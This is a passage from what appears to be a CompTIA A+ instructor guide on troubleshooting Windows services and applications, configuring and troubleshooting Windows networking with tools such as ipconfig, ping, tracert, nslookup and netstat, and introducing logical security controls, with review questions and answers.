1. Use Windows Update or the vendor site to obtain the latest chipset or system
driver. There may also be a specific USB 3 host controller driver.

2. Use Device Manager to uninstall each USB host controller device, and then
reboot to reinstall them with the new driver.

3. If this does not resolve the issue, disable USB selective suspend power
management either for a specific port or device or system-wide.

A USB controller resource warning indicates that too many devices are connected
to a single controller. This typically occurs if you use an unpowered USB hub to
expand the number of ports available and connect more than five devices to a
single controller. If updating the chipset drivers doesn’t resolve the issue, try the
following:
1. Connect the hub to a USB 2 port rather than a USB 3 port. While USB 3 is
higher bandwidth, in some chipset implementations each controller supports
fewer device connections (endpoints). Use the hub to connect low-bandwidth
input/output devices over USB 2, and reserve use of USB 3 ports for external
disks and network adapters.

2. Reduce the number of devices to see if that solves the problem. If it doesn’t,
test to see if one device is the source of the errors.

Troubleshoot Application and Service Fault Issues

Show As well as system-wide issues, some errors may be isolated to a particular
Slide(s) application or background service.
Troubleshoot
Application and Applications Crashing
Service Fault Issues
If an application crashes, the priority is to try to preserve any data that was being
processed. Users should be trained to save regularly, but modern suites such as
Microsoft Office are configured to save recovery files regularly, minimizing the
chance of data loss. If enabled, the Windows File History feature or using OneDrive
cloud storage can also function as a continuous backup for file versions.
Try to give the process time to become responsive again, and establish if you need
to try to recover data from temporary files or folders. When you have done all
you can to preserve data, use Task Manager to end the process. If the application
crashes continually, check the event logs for any possible causes. Try to identify
whether the cause lies in processing a particular data file or not.
If you cannot identify a specific cause of a problem, the generic solution is to check
for an application update that addresses the issue. Remember that applications
need to be updated independently of Windows Update. The option is usually
located in the Help menu. If an update does not fix the problem, the next step
is to uninstall then reinstall or perform a repair installer if that is supported.
Sometimes the Windows installer fails to remove every file and registry setting; if
this is the case, then following manual uninstall instructions might help.

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Services Not Starting

If you see a message such as One or more services failed to start during the
Windows load sequence, check Event Viewer and/or the Services snap-in to identify
which service has failed. Troubleshooting services can be complex, but bear the
following general advice in mind:
• Try to start or restart the service manually—As most computers run a lot of
services at startup, some can sometimes become “stuck.” If a service is not a
critical dependency for other services, it may help to set it to delayed start.

• Verify that disabling one service has not inadvertently affected others—Some
services cannot start until a dependent service is running.

• Make sure that the service has sufficient privileges—Services depend on account
permissions to run. Check that the service is associated with a valid user or
system account and that the password configured for the account is correct.

• If a core Windows service is affected, check system files, and scan the disk for
errors and malware.

• If an application service is affected, try reinstalling the application.

• Use regsvr32 to re-register the software component—a dynamic link library

(DLL)—that the service relies upon.

• Check whether the service is suppose to run—Faulty software uninstall routines

can leave “orphan” registry entries and startup shortcuts. Use the System
Configuration Utility (msconfig) or Registry Editor (regedit) to look for
orphaned items.

Time Drift
Processes such as authentication and backup depend on the time reported
by the local PC being closely synchronized to the time kept by a server. Some
authentication systems are intolerant of 30 or 60 second discrepancies.
Each PC motherboard has a battery-powered real time clock (RTC) chip, but this
is not a reliable authoritative time source. Relying on the internal time can lead to
servers and clients drifting out of sync, especially if some of the clients access the
network remotely. Servers and clients can also be configured to use Internet time
sources, but if some clients are remote, they may be set to use different sources
than the network servers.
Ideally, the network services should be configured in a domain and use either GPS-
synchronized time sources or a pool of Internet time sources. Sampling from a pool
helps to identify and resolve drifts. The clients can then be configured to use the
servers as authoritative time sources.

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Review Activity:
Windows OS Problems
5

Show Answer the following questions:

Slide(s)
Review

Teaching 1. A user calls saying that their screen occasionally goes blue, and the
Tip system shuts down. What should you advise the user to do?
Take some time at
the end of each topic Record as much information from the user’s blue screen as possible, especially the
to answer questions. STOP error number, so that you can research the error.
You can use the
review questions 2. A program is continually using 99–100% of processor time. What should
for discussion in you do?
class or set them for
students to complete Try to end the application or the process using Task Manager, and then contact the
individually during or
after class.
application vendor to find out why the problem is occurring.

3. You are assisting a user whose application is in the state shown in the
exhibit. How would you troubleshoot this problem?

(Screenshot courtesy of Microsoft.)

The user will be concerned about losing any unsaved work. Ask the user to describe
what he or she was doing at the time of the crash to try to diagnose what might
have caused it. Give the program a few minutes to finish processing—check Task
Manager for ongoing disk activity. If the application does not start responding,
check autosave and temp folders for a recent copy of the file data. Use Task
Manager to end the process. Restart the application, and try to open any file
data you might have recovered. Check the log files and online resources to try to
diagnose the cause of the crash. If the problem persists, consider solutions such as
disabling add-ons or reinstalling. Demonstrate to the user how to set up autosave
(if it is not already configured) and how to save regularly.
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4. A computer is caught in a reboot loop. It starts, shows a BSoD, and then

reboots. What should you do?

Boot using a recovery tool, such as the product disc, and attempt startup repair
and/or repair of the Windows installation using sfc or Windows reset.

5. If you suspect improper handling during installation has caused damage

to a RAM module, how could you test that suspicion?

Run a Memory Diagnostic. Because this tests each RAM cell, it should uncover any
fault.

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Lesson 13
Summary
6

Show You should be able to support diverse operating system and application software
Slide(s) deployments by applying appropriate considerations and troubleshooting processes.
Summary
Guidelines for Supporting Windows
Teaching
Follow these guidelines to support and troubleshoot Windows deployments,
Tip
upgrades, and app software:
Try to include some
time at the end • Develop a checklist and work instructions to govern deployment of clean install
of each lesson to of new operating systems:
check students’
understanding and • Boot methods for attended (USB external drive versus optical media) and
answer questions. unattended (USB/disk versus remote network installation).

• Partitioning (MBR versus GPT) and file system requirements for drive
formatting or image-based installation.

• Develop a checklist and work instructions to govern deployment of in-place

upgrades:

• Availability and product life cycle, including feature updates.

• Considerations (backup files and user preferences, app and driver support/
backward compatibility, and hardware compatibility).

• Prepare for recovery scenarios by creating boot media/internal partitions,

backup images, and backup user files/preferences.

• Develop a checklist and work instructions to govern deployment of new

applications:

• Establish system requirements for applications (CPU, 32-bit vs. 64-bit, RAM,
dedicated graphics card vs. integrated, VRAM, storage, and external hardware
tokens).

• Establish application to OS compatibility.

• Identify available distribution method (physical media vs. downloadable or

ISO mountable) and ensure trustworthy sources.

• Assess impacts to business, operation, network, and device.

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• Develop a knowledge base to document steps to resolve Windows OS issues:

• Symptoms including BSoD, sluggish performance, boot problems, frequent

shutdowns, services not starting, applications crashing, low memory
warnings, USB controller resource warnings, system instability, no OS found,
slow profile load, and time drift.

• Tools and techniques including reboot, restart services, uninstall/reinstall/

update applications, add resources, verify requirements, sfc, repair Windows,
restore, reimage, roll back updates, and rebuild Windows profiles.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 14
Managing Windows Networking
1

LESSON INTRODUCTION
As a CompTIA A+ technician, your duties will include setting up and configuring Show
computers so that they can connect to a network. By installing, configuring, and Slide(s)
troubleshooting networking capabilities, you will be able to provide users with the Objectives
connectivity they need to be able to perform their job duties.
Teaching
Once you have the computer network up and running, you can start to configure
Tip
it to provide useful services. File and print sharing are key uses of almost every
network. When configuring these resources, you must be aware of potential The Windows
networking topics
security issues and understand how to set permissions correctly to ensure that data covered in this lesson
is only accessible to those users who really should have been authorized to see it. include adapter/
connection types
Along with permissions, you will also need to manage user accounts on networks.
and configuration,
Windows networks can use local accounts within workgroups or centralized Active command-
Directory accounts on a domain network. In this lesson, you will learn some basic line network
principles for managing users in both types of environments. troubleshooting tools,
and domain- and
resource-sharing
Lesson Objectives concepts.

In this lesson, you will:

• Configure Windows networking.

• Troubleshoot Windows networking.

• Configure Windows security settings.

• Manage Windows shares.

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Topic 14A
Show
Slide(s)
Manage Windows Networking
Manage Windows
2

Networking
CORE 2 EXAM OBJECTIVES COVERED
Teaching 1.6 Given a scenario, configure Microsoft Windows networking features on a
Tip client/desktop.
This topic focuses on
adapter/connection
types. If you have not
Windows supports many types of network connection, from wired and wireless
completed Core 1, you adapters to using cellular radios or remote links. While they use different
might need to spend underlying hardware and signaling methods, each needs to be configured with
extra time explaining standard protocols, clients, and services. In this topic you will learn how to configure
IP and DNS concepts. properties for each of these network connection types.

Windows Network Connection Types

Show A computer joins a local network by connecting the network adapter—or network
Slide(s) interface card (NIC)—to a switch or wireless access point. For proper end
Windows Network user device configuration, the card settings should be configured to match the
Connection Types capabilities of the network appliance.

Teaching Establish a Wired Network Connection

Tip
Almost all wired network connections are based on some type of Ethernet. The
Review the main
configuration screens adapter’s media type must match that of the switch it is connected to. Most use
for network adapters copper wire cable with RJ45 jacks, though installations in some corporate networks
under Windows 10. may use fiber optic cabling and connector types. The adapter and switch must also
use the same Ethernet settings. These are usually set to autonegotiate, and a link
will be established as soon as the cable is plugged in.
Under Windows, each wired adapter is assigned a name. The first adapter
is labelled Ethernet. Additional adapters are identified as Ethernet2,
Ethernet3, and so on. A new name can be applied if necessary. If any Ethernet
settings do need to be configured manually, locate the adapter in Device Manager,
right-click and select Properties, and then update settings using the Advanced tab.
You can also access adapter options via the status page in Network & Internet
settings.

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Windows 10 Network & Internet Settings app. (Screenshot courtesy of Microsoft.)

Establish a Wireless Network Connection

To establish a wireless network connection, select the network status icon in the
notification area, and select from the list of displayed networks. If the access point
is set to broadcast the network name or service set ID (SSID), then the network will
appear in the list of available networks. The bars show the strength of the signal,
and the lock icon indicates whether the network uses encryption. To connect, select
the network, and then enter the required credentials. If you choose the Connect
automatically option, Windows will use the network without prompting whenever
it is in range.
If SSID broadcast is suppressed, input WLAN settings manually. From the Network
& Internet page, select Wi-Fi > Manage known networks > Add a new network.
Wi-Fi properties for the adapter are configured via Device Manager. The most
important setting on a wireless card is support for the 802.11 standard supported
by the access point. Most cards are set to support any standard available. This
means that a card that supports 802.11n will also be able to connect to 802.11g and
802.11b networks. You can also adjust parameters such as roaming aggressiveness
and transmit power to address connection issues.

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Wireless network adapter properties in Device Manager. (Screenshot courtesy of Microsoft.)

IP Addressing Schemes
Show Device Manager properties are for the adapter’s low-level network link (Ethernet
Slide(s) or Wi-Fi). To connect to a network, the logical adapter must have a valid client
IP Addressing network configuration. Each adapter must be configured with client software and
Schemes allocated an appropriate IP address and subnet mask.

Teaching Internet Protocol Addressing Scheme

Tip
An Internet Protocol (IP) addressing scheme uses these values:
Explain how to
configure an adapter • In IPv4, the 32-bit address is combined with a 32-bit subnet mask, both of which
with the appropriate are typically entered in dotted decimal notation. The mask distinguishes logical
settings for the local
network.
network and host portions within the IP address. For example, the address
192.168.1.100 and mask 255.255.255.0 mean that the host is using the address
portion .100 on the logical network 192.168.1.0.

• In IPv6, the address is 128 bits long and the interface address portion is always
the last 64 bits. Network prefixes are used to identify logical networks within the
first 64 bits.

All hosts on the same local network must use addresses from within the same
range. Hosts with addresses in different ranges can only be contacted by
forwarding the packet via a router. Each host must be configured with the IP
address of a local router. This is referred to as the default gateway.

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The router interface is usually assigned the first available value. For example, if the IP
address scheme is 192.168.1.0/24, the first available host address is 192.168.1.1.

Typically, a host is also configured with the addresses of Domain Name System
(DNS) servers that can resolve requests for name resources to IP addresses, making
identification of hosts and services simpler.

On a home network, the router is usually configured to forward DNS queries, so the
gateway and primary DNS server parameters for client PCs will usually be set to the
same value.

As well as DNS servers, the host might be configured with a domain suffix to identify its
fully qualified domain name (FQDN) on the local network. For example, if attached to a
network identified as ad.company.example, the FQDN of PC1 will be PC1.ad.company.
example.

Static versus Dynamic Configuration

These IP values can be assigned statically or dynamically. Configuring large
numbers of hosts with a valid static addressing parameters is a complex
management task. Most hosts are configured to obtain an address automatically,
using a service called the Dynamic Host Configuration Protocol (DHCP).

Windows Client Configuration

The IP configuration for each adapter interface is often set using the GUI Properties Show
dialog accessed via Network & Internet settings or the Network Connections applet Slide(s)
(ncpa.cpl). By default, the following clients, protocols, and services are installed Windows Client
on Ethernet and Wi-Fi adapters: Configuration
• Client for Microsoft Networks and File and Print Sharing for Microsoft Networks
software.

• Internet Protocol—Both IP version 4 and IP version 6 will be installed. The

network adapter automatically uses the appropriate version of the protocol
depending on the network it is connected to.

• Link-layer Topology Discovery—This protocol provides network mapping and

discovery functions for networks without dedicated name servers.

The IP properties will default to Obtain an IP address automatically, which uses a

DHCP server. To configure a static address, double-click the IP properties item.

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Ethernet Properties dialog (left) and Internet Protocol Version 4 (TCP/IPv4) Properties dialog (right).
(Screenshot courtesy of Microsoft.)

You can also adjust the IP configuration via the settings app. In this dialog, you need
to enter the mask as a prefix length in bits. A 255.255.255.0 mask is 24 bits.

Using Network & Internet settings to configure static addressing. In this dialog, you need to enter
the mask as a prefix length rather than a dotted decimal mask. (Screenshot courtesy of Microsoft.)

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Network Location
Each network connection is governed by the local OS firewall settings imposed by Show
Windows Defender Firewall. Slide(s)
When you connect to a new network, the Network Location Awareness Network Location
(NLA) service prompts you to set the network type. If the network type is set
Teaching
as Public, Windows Firewall is configured to block all access and make the host
Tip
undiscoverable. If the network is set as Private, the firewall settings allow host
discovery and folder/printer sharing. Explain the difference
between public and
private networks and
the effect on firewall
settings (optionally,
also mention domain
networks). We will be
covering Windows
Firewall in more
detail later, so only
summarize here.

Set Network Location prompt. (Screenshot courtesy of Microsoft.)

There is also a Domain profile. You cannot choose this option, but if the computer is
joined to a domain, then the firewall policy will be configured via Group Policy.

Use Network & Internet settings to change the location defined for a network.

Using Network & Internet settings to change the network profile. (Screenshot courtesy of Microsoft.)

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With network discovery enabled, other computers and devices can be accessed
via the Network object in File Explorer. Windows uses a system called universal
naming convention (UNC) syntax to address network hosts and resources. The
syntax for a UNC network path is \\Host\Path, where Host is the host name,
FQDN, or IP address of the server and Path is a shared folder or file path.

Windows Defender Firewall Configuration

Show You can turn the firewall on or off and access the configuration applets shown via
Slide(s) the Firewall & network protection page in the Windows Defender Security Center
or via the Windows Defender Firewall applet in Control Panel. You can also choose
Windows Defender
Firewall Configuration to block all incoming connections.

Setting the firewall state via the Windows Security Center. (Screenshot courtesy of Microsoft.)

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To allow or block programs (configure exceptions), from the Windows Firewall

status page, select Allow an app through the firewall. Check the box for either or
both network profile types or use Allow another program to locate its executable
file and add it to the list.

Windows Firewall Allowed applications. (Screenshot courtesy of Microsoft.)

VPN and WWAN Connection Types

Wired and wireless adapters connect to local networks, but there are other network Show
types too. Many corporate networks allow devices to connect remotely, to support Slide(s)
home workers, field workers, branch offices, partners, suppliers, and customers. VPN and WWAN
Also, a user might need or prefer to use a cellular adapter for Internet access. Connection Types

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Establish a Virtual Private Network Connection

Teaching A virtual private network (VPN) connects the components and resources of two
Tip (private) networks over another (public) network. A VPN is a “tunnel” through the
Internet (or any other public network). It uses special connection protocols and
Discuss the
requirements for encryption technology to ensure that the tunnel is secure and that the user is
configuring these properly authenticated. Once the connection has been established, to all intents
adapter types. Note and purposes, the remote computer becomes part of the local network (though it is
the options for still restricted by the bandwidth available over the WAN link).
defining a metered
connection. Windows supports several VPN types. If the VPN type is supported, you can
configure a connection using the Windows client from Network & Internet settings.
Some VPNs might require use of third-party client software.

Configuring a new VPN connection. (Screenshot courtesy of Microsoft.)

Subsequently, the network connection will be available via the network status icon.
Right-click the icon and select the VPN connection icon to Connect or Disconnect
or modify the connection’s Properties.

Establish a Wireless Wide Area Network Connection

Wireless Wide Area Network (WWAN) refers to using a cellular adapter to
connect to the Internet via a provider’s network. The bandwidth depends on the
technologies supported by the adapter and by the local cell tower (3G, 4G, or 5G,
for instance).

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The WWAN adapter can be fitted as a USB device or as an internal adapter. For GSM
and 4G or 5G services, the adapter must also be fitted with a subscriber identity
module (SIM) card issued by the network provider. You can enable or disable the
connection using the network status icon and configure it via Network & Internet
settings.
Cellular providers can impose high charges if the subscriber’s data allowance is
exceeded. You can define the network type as metered and set a data limit within
Windows to avoid the risk of exceeding the provider’s cap. You can also monitor
data usage by each app.

Configuring a data limit for a metered network. (Screenshot courtesy of Microsoft.)

Proxy Settings
Some networks use a proxy to provide network connectivity. A proxy server can Show
improve both performance and security. Client PCs pass Internet requests to the Slide(s)
proxy server, which forwards them to the Internet. The proxy may also cache pages
Proxy Settings
and content that is requested by multiple clients, reducing bandwidth.
Teaching
Tip
Recap the function of
a proxy server from
Core 1, and show how
to configure address
information for a non-
transparent proxy.

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An intercepting or transparent proxy does not require any client configuration and
some proxies are autoconfiguring. If neither of these cases apply, each client must
be configured with the IP address and TCP port to use to forward traffic via the
proxy. These proxy settings are configured via Network & Internet settings.

Using the Settings app to apply a manual proxy setup. (Screenshot courtesy of Microsoft.)

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Review Activity:
Windows Networking
3

Answer the following questions: Show

Slide(s)
Review

1. You are assisting a user with configuring a static IP address. The user has Teaching
entered the following configuration values and now cannot access the Tip
Internet. Is there a configuration issue or a different problem? Take some time at
the end of each topic
• IP: 192.168.1.1 to answer questions.
You can use the
• Mask: 255.255.255.0 review questions
for discussion in
• Gateway: 192.168.1.0 class or set them for
students to complete
• DNS: 192.168.1.0 individually during or
after class.
There is a configuration problem. 192.168.1.0 is not a host address. With the subnet
mask 255.255.255.0, it identifies the network range as 192.168.1.0/24. The gateway
is usually configured as the first available host address in this range: 192.168.1.1.
The DNS server should also be set to 192.168.1.1.

2. You are assisting another user who is trying to configure a static IP on

a Windows workstation. The user says that 255.255.255.0 is not being
accepted in the prefix length box. Should the user open a different dialog
to complete the configuration or enter a different value?

The Network & Interface settings Edit IP settings dialog can be used. 255.255.255.0
is the subnet mask in dotted decimal format. The dialog just requires the number of
mask bits. Each “255” in a dotted decimal mask represents 8 bits, so the user should
enter 24.

3. You are supporting a user who has just replaced a wireless router. The
user has joined the new wireless network successfully but can no longer
find other computers on the network. What should you check first?

Use Network & Internet to check the network profile type. When the network
changed, the user probably selected the wrong option at the prompt to allow the
PC to be discoverable, and the profile is probably set to Public. Change the type
Private.

4. True or false? Windows Defender Firewall cannot be disabled.

False. It is not usually a good idea to do so, but it can be disabled via Security Center
or the Control Panel applet.

5. You need to set up a VPN connection on a user’s Windows laptop.

The VPN type is IKEv2. What other information, if any, do you need to
configure the connection?

You must also input the fully qualified domain name (FQDN) or IP address of the
remote access VPN server.

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Topic 14B
Show
Slide(s)
Troubleshoot Windows Networking
Troubleshoot
6

Windows Networking
CORE 2 EXAM OBJECTIVES COVERED
Teaching 1.2 Given a scenario, use the appropriate Microsoft command-line tool.
Tip
This topic focuses
on the command-
If a host does not have an appropriate IP configuration for the network that it is
line network
troubleshooting tools. connected to, it will not be able to communicate with other hosts or access the
Internet, even if the physical connection is sound. There are a number of command-
line tools for testing and troubleshooting the IP configuration.

Troubleshoot IP Configuration
Show Windows can report several types of error state for a local network adapter. If
Slide(s) the connection is reported as unplugged or disconnected, you need to check the
Troubleshoot IP cable or wireless network configuration. Two other states are reported if the link is
Configuration available, but IP is not correctly configured:
• Limited connectivity—The adapter is set to obtain an address automatically,
but no DHCP server can be contacted. The adapter will either use an address
from the automatic IP addressing (APIPA) 169.254.x.y range or will use an
address specified as an alternate configuration in IPv4 properties.

• No Internet access—This means that the IP configuration is valid for the local
network but that Windows cannot identify a working Internet connection.
Windows tests Internet access by attempting a connection to www.
msftncsi.com and checking that DNS resolves the IP address correctly. This
state could indicate a problem with the router, with DNS, or with both.

Most IP troubleshooting activity will start with an investigation of the current

settings. In Windows, IP configuration information is displayed through Network &
Internet settings or the adapter’s status dialog. You can also view this information at
a command line using the ipconfig command tool.

ipconfig Command
Used without switches, ipconfig displays the IP address, subnet mask, and
default gateway (router) for all network adapters to which TCP/IP is bound. The /
all switch displays detailed configuration, including DHCP and DNS servers, MAC
address, and NetBIOS status. ipconfig can resolve the following questions:
• Is the adapter configured with a static address? If so, are the parameters (IP
address, subnet mask, default gateway, and DNS server) correct, given the local
network’s IP range?
• Is the adapter configured by DHCP?
• If so, is there a valid lease? If a DHCP server cannot be contacted, there may
be some wider network problem.
• If there is an address lease, are the parameters correct for the local network?
If the DHCP server is misconfigured, the host configuration might not be
appropriate.

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Using ipconfig. (Screenshot courtesy of Microsoft.)

If a DHCP lease is missing or incorrect, you can use ipconfig to request a new one.
• Release the IP address obtained from a DHCP server so that the network
adapter(s) will no longer have an IP address:

ipconfig /release AdapterName

• Force a DHCP client to renew the lease it has for an IP address:

ipconfig /renew AdapterName

You can also use ipconfig to troubleshoot some issues with resolving name
records via DNS:
• Display the DNS resolver cache. This contains host and domain names that
have been queried recently. Caching the name-to-IP mappings reduces network
traffic:

ipconfig /displaydns
• Clears the DNS resolver cache. If cached records are out-of-date, it can cause
problems accessing hosts and services:

ipconfig /flushdns

hostname Command
The hostname command returns the name configured on the local machine.
If the machine is configured as a server, client machines will need to use the
hostname to access shared folders and printers.

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Network Reset
If there are persistent network problems with either a client or a server, one “stock”
response is to try restarting the computer hardware. You can also try restarting just
the application service.

Do not restart a server without considering the impact on other users. A restart is
probably only warranted if the problem is widespread.

Another option is to reset the network stack on the device. In Windows, this will
clear any custom adapter configurations and network connections, including VPN
connections. These will have to be reconfigured after the reset. The Network reset
command is on the Settings > Network & Internet > Status page.

Troubleshoot Local Network Connectivity

Show If the link and IP configuration both seem to be correct, the problem may not lie
Slide(s) with the local machine but somewhere in the overall network topology. You can test
Troubleshoot Local connections to servers such as files shares, printers, or email by trying to use them.
Network Connectivity One drawback of this method is that there could be some sort of application fault
rather than a network fault. Therefore, it is useful to have a low-level test of basic
connectivity that does not have any dependencies other than a working link and IP
configuration.
The ping command utility is a command-line diagnostic tool used to test whether
a host can communicate with another host on the same network or on a remote
network. The following steps outline the procedures for verifying a computer’s
configuration and for testing router connections:
1. Ping the loopback address to verify TCP/IP is installed and loaded correctly
(ping 127.0.0.1)—the loopback address is a reserved IP address used
for testing purposes.

2. Ping the IP address of your workstation to verify it was added correctly and to
check for possible duplicate IP addresses.

3. Ping the IP address of the default gateway to verify it is up and running and
that you can communicate with a host on the local network.

4. Ping the IP address of a remote host to verify you can communicate through
the router.

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Troubleshooting with ping. These tests show that IP is correctly installed, that the host responds
to its own IP address, that the default gateway is available, and that a host on the Internet can
be contacted. Note that only contacting the Internet host (8.8.8.8) incurs any latency. (Screenshot
courtesy of Microsoft.)

If ping is successful, it responds with the message Reply from IP Address and the
time it takes for the host’s response to arrive. The millisecond (ms) measures of
round-trip time (RTT) can be used to diagnose latency problems on a link.
If ping is unsuccessful, one of three messages are commonly received:
• Reply from SenderIP Destination unreachable—If both hosts are suppose to
be on the same local network segment, this means that the sending host gets no
response to Address Resolution Protocol (ARP) probes. ARP is used to locate the
hardware or media access control (MAC) address of the interface that owns an
IP address. The most likely cause is that the destination host is disconnected or
configured as non-discoverable. If you can confirm that the host is up, this could
indicate some sort of IP misconfiguration, such as duplicate addresses or an
incorrect subnet mask.

• Reply from GatewayIP Destination unreachable—The gateway router has no

forwarding information for that IP address. This indicates some misconfiguration
of the router or destination network.

• No reply (Request timed out)—The probe was sent to a remote host or

network via the gateway, but no response was received. The most likely cause is
that the destination host is down or configured not to respond.

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Examples of error messages using ping. The first probe is for an IP address on the local network.
The sending host (192.168.1.100) reports “destination host unreachable” because no host with the
IP address 192.168.1.101 responds to ARP probes. The second probe is for a host on a different
network (192.168.0.0/24 rather than 192.168.1.0/24). (Screenshot courtesy of Microsoft.)

You can also ping DNS names (ping comptia.org, for example) or FQDNs
(ping sales.comptia.org, for instance). This will not work if a DNS server
is unavailable.

Troubleshoot Remote Network Connectivity

Show When a packet is forwarded to a remote network, each router in the path to the
Slide(s) network counts as one hop. The path taken by a packet can be used to diagnose
Troubleshoot Remote routing issues. The tracert command line utility is used to trace the path a packet
Network Connectivity of information takes to get to its target. The command can take an IP address or
FQDN as an argument.

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Using tracert in Windows. The first probe is for the host’s default gateway (a SOHO router
appliance). The second probe is to Google’s public DNS resolver. The hops take the packet from the
local gateway via an ISP’s network to Google’s Internet routers and servers. Note that probes to one
of the routers have timed out. This does not mean that the connection failed, just that the router is
configured not to respond to probes. (Screenshot courtesy of Microsoft.)

If the host cannot be located, the command will eventually timeout, but it will return
every router that was attempted. The output shows the number of hops (when a
packet is transferred from one router to another), the ingress interface of the router
or host (that is, the interface from which the router receives the probe), and the
time taken to respond to each probe in milliseconds (ms). If no acknowledgement is
received within the timeout period, an asterisk is shown against the probe.
As an alternative to tracert, pathping command performs a trace and then pings
each hop router a given number of times for a given period to determine the round-
trip time (RTT) and measure link latency more accurately. The output also shows
packet loss at each hop.
If there is a routing issue, check that the local router’s Internet connection status
is OK. If the router is connected, locate your ISP’s service status page or support
helpline to verify that there are no wider network issues or DNS problems that
might make your Internet connection unavailable. If there are no ISP-wide issues,
try restarting the router.

Troubleshoot Name Resolution

If you cannot identify a problem with basic connectivity, you should start to suspect Show
a problem at a higher layer of processing. There are three main additional “layers” Slide(s)
where network services fail: Troubleshoot Name
• Security—A firewall or other security software or hardware might be blocking Resolution
the connection or proxy settings might be misconfigured.

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• Name resolution—If a service such as DNS is not working, you will be able to
connect to servers by IP address but not by name.

• Application/OS—The software underpinning the service might have failed. If the

OS has failed, there might not be any sort of connectivity to the host server. If
the server can be contacted, but not a specific service, the service process might
have crashed.

When troubleshooting Internet access or unavailable local network resources,

such as file shares, network printers, and email, try to establish the scope of the
problem. If you can connect to these services using a different host, the problem
should lie with the first client. If other hosts cannot connect, the problem lies with
the application server or print device or with network infrastructure between the
clients and the server.
If you identify or suspect a problem with name resolution, you can troubleshoot
DNS with the nslookup command, either interactively or from the command
prompt:
nslookup -Option Host Server
Host can be either a host name/FQDN or an IP address. Server is the DNS server to
query; the default DNS server is used if this argument is omitted. -Option specifies
a nslookup subcommand. Typically, a subcommand is used to query a particular
DNS record type. For example, the following command queries Google’s public DNS
servers (8.8.8.8) for information about comptia.org’s mail records:
nslookup -type=mx comptia.org 8.8.8.8

Using nslookup to query the mail server configured for the comptia.org domain name using
Google’s public DNS servers (8.8.8.8). (Screenshot courtesy of Microsoft.)

If you query a different name server, you can compare the results to those returned
by your own name server. This might highlight configuration problems.

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Troubleshoot Network Ports

netstat command can be used to investigate open ports and connections on the Show
local host. In a troubleshooting context, you can use this tool to verify whether Slide(s)
file sharing or email ports are open on a server and whether other clients are Troubleshoot Network
connecting to them. Ports
When used without switches, netstat lists active and listening TCP ports. An Teaching
active port is connected to a foreign address, while a listening port is waiting for a Tip
connection. The following represent some of the main switches that can be used:
Optionally, use
• -a includes UDP ports in the listening state. the Minecraft port
example to discuss
• -b shows the process that has opened the port. Alternatively, use the -o switch the risks of running
to list the process ID (PID) rather than the process name. These switches can home servers, making
reference to the
only be used from an administrative command-prompt.
log4js vulnerability
(arstechnica.
• -n displays ports and addresses in numerical format. Skipping name resolution com/information-
speeds up each query. technology/2021/12/
minecraft-and-other-
• -e and -s can be used to report Ethernet and protocol statistics respectively. apps-face-serious-
threat-from-new-code-
execution-bug).

Displaying listening connections and the processes that opened each port with netstat. The results
here are mostly opened by Windows services, but note that last line. The Java runtime environment
has opened a TCP port. If you use an online resource to gather information about that port, you
will find that it is associated with running a Minecraft server. Ports and services that are opened
without authorization can pose a high security risk. Even when they are authorized, these services
must be monitored and patched against vulnerabilities. (Screenshot courtesy of Microsoft.)

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Review Activity:
Windows Networking
7

Show Answer the following questions:

Slide(s)
Review

Teaching 1. A DHCP server has been reconfigured to use a new network address
Tip scheme following a network problem. What command would you use to
Take some time at refresh the IP configuration on Windows client workstations?
the end of each topic
to answer questions. ipconfig /renew
You can use the
review questions 2. A computer cannot connect to the network. The machine is configured
for discussion in to obtain a TCP/IP configuration automatically. You use ipconfig to
class or set them for
students to complete
determine the IP address and it returns 0.0.0.0. What does this tell you?
individually during or
after class.
This is an irregular state for a Windows PC. If a DHCP server cannot be contacted,
the machine should default to using an APIPA address (169.254.x.y). As it has
not done this, something is wrong with the networking software installed on the
machine. The best option is probably to perform a network reset via the Settings >
Network & Internet > Status page.

3. You are pinging a host at 192.168.0.99 from a host at 192.168.0.200. The

response is “Reply from 192.168.0.200: Destination host unreachable.”
The hosts use the subnet mask 255.255.255.0. Does the ping output
indicate a problem with the default gateway?

No. The hosts are on the same IP network (192.168.0.0/24). This means that
192.168.0.200 does not try to use a router (the gateway) to send the probes.
192.168.0.200 uses address resolution protocol (ARP) to find the host with the IP
192.168.0.99. The host unreachable message indicates that there was no response,
but the problem will be an issue such as the host being disconnected from the
network or configured to block discovery rather than a gateway issue.

4. You are checking that a remote Windows workstation will be able to dial
into a web conference with good quality audio/video. What is the best
tool to use to measure latency between the workstation’s network and
the web conferencing server?

pathping measures latency over a longer period and so will return a more accurate
measurement than the individual round trip time (RTT) values returned by ping or
tracert.

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5. Which command produces the output shown in this screenshot?

Exhibit (Screenshot courtesy of Microsoft.)

This is output from netstat. The -n switch has been used to show ports in numeric
format and the -o switch to show the PID of the process that opened the port.

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Topic 14C
Show
Slide(s)
Configure Windows Security Settings
Configure Windows
6

Security Settings
CORE 2 EXAM OBJECTIVES COVERED
Teaching 1.2 Given a scenario, use the appropriate Microsoft command-line tool.
Tip 2.1 Summarize various security measures and their purposes.
This topic focuses on 2.5 Given a scenario, manage and configure basic security settings in the Microsoft
authentication and Windows OS.
authorization. It covers
most logical security Logical access controls ensure that each user is identified and authenticated before
and most Active
being allowed to use a host or network services. Supporting an access control
Directory examples
from objective 2.1 system means defining strong authentication methods and using security groups
(summarize security to assign permissions to users. On a network, you can use a directory to simplify
measures) plus management of these controls. This topic will help you to understand and apply
Windows login options these configurations so that you can help to support both workgroup and domain
from objective 2.5 networks.
and some more of
the command-line
tools from 1.2 (net Logical Security Controls
user, gpresult, and
gpupdate). A security control is a safeguard or prevention method to avoid, counteract, or
minimize risks relating to personal or company property. For example, a firewall is
Show
a type of security control because it controls network communications by allowing
Slide(s)
only traffic that has specifically been permitted by a system administrator. There
Logical Security are many ways of classifying security controls, but one way is to class them as
Controls physical, procedural, or logical:
Teaching • Physical controls work in the built environment to control access to sites.
Tip Examples include fences, doors, and locks.
Explain that logical
security refers to OS/ • Procedural controls are applied and enforced by people. Examples include
software mechanisms incident response processes, management oversight, and security awareness
to enforce access training programs.
controls.
Distinguish the
• Logical controls are applied and enforced by digital or cyber systems and
functions of software. Examples include user authentication, antivirus software, and firewalls.
authentication and
authorization in an One of the cornerstones of logical security is an access control system. The overall
access control system. operation of an access control system is usually described in terms of three
functions, referred to as the AAA triad:
• Authentication means that everything using the system is identified by an
account and that an account can only be operated by someone who can supply
the correct credentials.

• Authorization means access to resources is allowed only to accounts with

defined permissions. Each resource has an access control list specifying what
users can do. Resources often have different access levels; for example, being
